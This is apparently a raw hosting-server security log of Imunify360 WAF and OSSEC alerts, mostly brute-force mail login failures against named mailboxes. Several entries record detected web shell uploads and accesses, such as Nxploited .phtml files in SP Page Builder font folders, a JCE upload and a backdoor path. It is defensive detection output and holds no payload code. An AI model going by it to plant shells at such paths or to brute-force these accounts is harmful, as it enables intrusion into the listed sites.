[2026-07-19 22:12:47 +0530] info [whostmgrd] 93.185.162.121 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacemergencyservice2.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-19 22:22:50 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se ([174.75.211.203]) [176.10.203.54]:50412: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 188.253.121.112
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.252.23
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.211.156.184
country_id: 6252001
description:
2026-07-19 22:27:30 dovecot_login authenticator failed for H=184.sub-97-211-156.myvzw.com ([218.52.113.36]) [97.211.156.184]:35914: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-19 22:26:41 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([61.156.144.115]) [148.170.156.248]:53632: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 184.52.35.211
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/402813210 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.163
country_id: 1733045
description:
2026-07-19 22:27:08 dovecot_login authenticator failed for H=(host59.181-104-41.telecom.net.ar) [49.125.203.163]:51162: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.244.198
country_id: 1269750
description:
2026-07-19 22:27:39 dovecot_login authenticator failed for H=([182.95.90.243]) [122.187.244.198]:58710: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.251.0.147
country_id: 390903
description:
2026-07-19 22:32:24 dovecot_login authenticator failed for H=([49.124.142.138]) [212.251.0.147]:59873: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-07-19 22:32:27 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl (164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [178.183.125.51]:53962: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-19 22:32:34 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([149.54.51.82]) [110.25.105.240]:37956: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.91.5
country_id: 1269750
description:
2026-07-19 22:33:00 dovecot_login authenticator failed for H=([152.52.33.177]) [122.165.91.5]:43610: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.78.156.46
country_id: 6252001
description:
2026-07-19 22:35:23 dovecot_login authenticator failed for H=([109.173.107.163]) [166.78.156.46]:48528: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.251.0.147
country_id: 390903
description:
2026-07-19 22:36:02 dovecot_login authenticator failed for H=([60.172.54.36]) [212.251.0.147]:42157: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-19 22:40:25 dovecot_login authenticator failed for H=(89-67-246-166.dynamic.play.pl) [143.202.162.196]:58364: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.39.214
country_id: 1668284
description:
2026-07-19 22:40:37 dovecot_login authenticator failed for H=111-70-39-214.emome-ip.hinet.net ([49.124.152.157]) [111.70.39.214]:55293: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.76.184.114
country_id: 2542007
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83994.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9efa5146ce380a14e12715aeaaf2794d9fb08d1b||Title:0x5c08e3be||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.157.192.48
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/162305764 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.203.112.70
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/22598948 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.7.144.60
country_id: 1605651
description:
2026-07-19 23:03:47 dovecot_login authenticator failed for H=([78.37.9.103]) [61.7.144.60]:47504: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.200.156.70
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/651096217 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-19 23:04:08 dovecot_login authenticator failed for H=([68.71.249.154]) [147.148.205.252]:47454: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-19 23:07:17 dovecot_login authenticator failed for H=([67.201.33.12]) [119.198.191.180]:39643: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-07-19 23:07:20 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl (dsl-hkibng42-50dfbe-179.dhcp.inet.fi) [178.183.125.51]:44950: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-19 23:07:28 dovecot_login authenticator failed for H=(104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [221.167.50.229]:37098: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.197.157.63
country_id: 2661886
description:
2026-07-19 23:06:50 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [85.197.157.63]:35628: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-19 23:07:36 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [106.201.76.203]:31414: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-19 23:08:26 dovecot_login authenticator failed for H=([174.64.199.88]) [1.250.67.114]:39222: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.0.20
country_id: 1835841
description:
2026-07-19 23:08:39 dovecot_login authenticator failed for H=([49.124.152.36]) [59.11.0.20]:48826: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.120.71.79
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7f3009986 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-19 23:15:47 dovecot_login authenticator failed for H=([49.238.215.194]) [122.160.11.40]:52984: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.149
country_id: 1733045
description:
2026-07-19 23:15:59 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [49.124.155.149]:48946: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.179.100.101
country_id: 3686110
description:
2026-07-19 23:15:35 dovecot_login authenticator failed for H=([187.93.51.46]) [186.179.100.101]:1063: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-19 23:15:38 dovecot_login authenticator failed for H=(ip4.gtt.net) [1.227.228.131]:35491: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.150.88.22
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/832740541 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-19 23:21:04 dovecot_login authenticator failed for H=([125.19.175.124]) [185.5.234.249]:55902: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-19 23:21:24 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([162.253.68.102]) [89.67.39.124]:60131: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.200.146.124
country_id: 290557
description:
2026-07-19 23:22:21 dovecot_plain authenticator failed for H=(palkitize) [87.200.146.124]:56063: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-19 23:23:21 dovecot_login authenticator failed for H=([72.206.74.97]) [122.169.40.221]:43598: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-19 23:23:45 dovecot_login authenticator failed for H=([61.173.157.89]) [136.56.34.147]:52718: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.227.47
country_id: 2077456
description:
2026-07-19 23:25:06 dovecot_login authenticator failed for H=([49.124.151.72]) [203.221.227.47]:35543: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-19 23:25:33 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([27.223.98.117]) [111.70.33.194]:51394: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-19 23:27:02 dovecot_login authenticator failed for H=([49.124.145.56]) [143.202.162.196]:58904: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-19 23:27:21 dovecot_login authenticator failed for H=([122.53.106.124]) [196.41.207.112]:60929: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 185.213.83.84
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:pek65059.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.89.241
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5d3190320 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-19 23:34:37 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net (136-34-252-154.googlefiber.net) [1.34.229.12]:57816: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-19 23:34:49 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp (ipmapt-72-195-114-182.oc.oc.cox.net) [202.212.191.16]:53807: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 174.172.226.180
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/693501731 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://emergencyacrepair2.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77264624
name: IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)
abuser: 51.195.39.149
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)||MV:/assets/images/accesson.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.106.100.120
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6e3167597 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.230.226
country_id: 1835841
description:
2026-07-19 23:42:08 dovecot_login authenticator failed for H=([70.166.167.35]) [211.48.230.226]:46468: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.145.31
country_id: 2510769
description:
2026-07-19 23:42:31 dovecot_login authenticator failed for H=31.145.158.146.dynamic.jazztel.es ([39.183.162.243]) [146.158.145.31]:33822: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.248.156
country_id: 1835841
description:
2026-07-19 23:44:14 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [125.143.248.156]:50854: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-19 23:44:34 dovecot_login authenticator failed for H=([49.124.145.62]) [119.92.76.210]:59898: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.232.17.63
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/8b1435296 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-19 23:49:34 dovecot_login authenticator failed for H=([74.119.147.213]) [103.168.241.32]:57048: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.194
country_id: 1733045
description:
2026-07-19 23:49:50 dovecot_login authenticator failed for H=([116.178.155.143]) [49.124.159.194]:59526: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.190.226.36
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/962426036 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.145.65.195
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a4555672 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-19 23:58:17 dovecot_login authenticator failed for H=([178.178.194.128]) [191.241.142.170]:35861: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-19 23:58:37 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([14.201.101.56]) [223.25.108.2]:36040: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784485847121.phtml||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-20 00:03:14 dovecot_login authenticator failed for H=([49.124.152.147]) [170.233.29.157]:56313: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-20 00:02:52 dovecot_login authenticator failed for H=([211.192.54.219]) [136.56.34.147]:45078: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-20 00:04:02 dovecot_login authenticator failed for H=(host-217-59-129-132.business.telecomitalia.it) [85.105.255.56]:51001: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-20 00:04:22 dovecot_login authenticator failed for H=([206.62.136.111]) [50.212.27.150]:39794: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.161.172
country_id: 1835841
description:
2026-07-20 00:08:54 dovecot_login authenticator failed for H=([220.94.163.193]) [61.80.161.172]:35052: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-20 00:09:04 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([111.206.233.34]) [72.234.16.75]:58132: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.5.16.38
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/123177419 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784486634588.PhP||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-20 00:18:38 dovecot_login authenticator failed for H=([175.203.199.118]) [182.95.119.30]:34886: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.135.169.175
country_id: 6252001
description:
2026-07-20 00:18:50 dovecot_login authenticator failed for H=(nsg-corporate-110.116.187.122.airtel.in) [63.135.169.175]:56412: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.84.116
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/46921625 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.97.174
country_id: 3865483
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/b2b/invest_india_economic.php HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-20 00:29:01 dovecot_login authenticator failed for H=([59.20.150.99]) [128.134.83.141]:53298: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-20 00:29:29 dovecot_login authenticator failed for H=(the-caper-b.bar3.tampa1.level3.net) [182.95.228.106]:37140: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 202.182.114.60
country_id: 1861060
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_8zp6o1/fonts/shxt_tj8d.phtml||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.81.187
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/fc1948608 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 76.97.131.178
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/11849116 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-20 00:41:43 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net ([199.229.254.131]) [211.21.243.7]:56100: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-20 00:42:10 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([49.124.151.18]) [77.53.193.47]:51328: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784488441839.PhP||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 194.233.86.46
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.designspiration.com/hore889org/\">hore889</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: travelinbh.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784488784108.pHp||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.186.104.77
country_id: 6252001
description:
2026-07-20 00:53:12 dovecot_login authenticator failed for H=wsip-184-186-104-77.lv.lv.cox.net ([142.54.236.102]) [184.186.104.77]:43484: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.203.163.238
country_id: 1694008
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:46166.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4d2a105948305c438cf3d4cf546416c78b056b09||Title:0x6af5411c||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.118.201.222
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/291930242 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-20 01:01:22 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de ([142.54.239.4]) [217.24.238.120]:39130: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.239.131.5
country_id: 2077456
description:
2026-07-20 01:01:39 dovecot_login authenticator failed for H=182-239-131-5.tpgi.com.au ([188.122.37.97]) [182.239.131.5]:40475: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 94.207.200.160
country_id: 290557
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36475.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:adcadc9afae8b0a8b93cd3ed8e52f233af700b9a||Title:0xdb5e82d0||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.177.204.75
country_id: 6252001
description:
2026-07-20 01:07:56 dovecot_login authenticator failed for H=([130.185.102.59]) [140.177.204.75]:49340: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.77.218.222
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/771921471 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
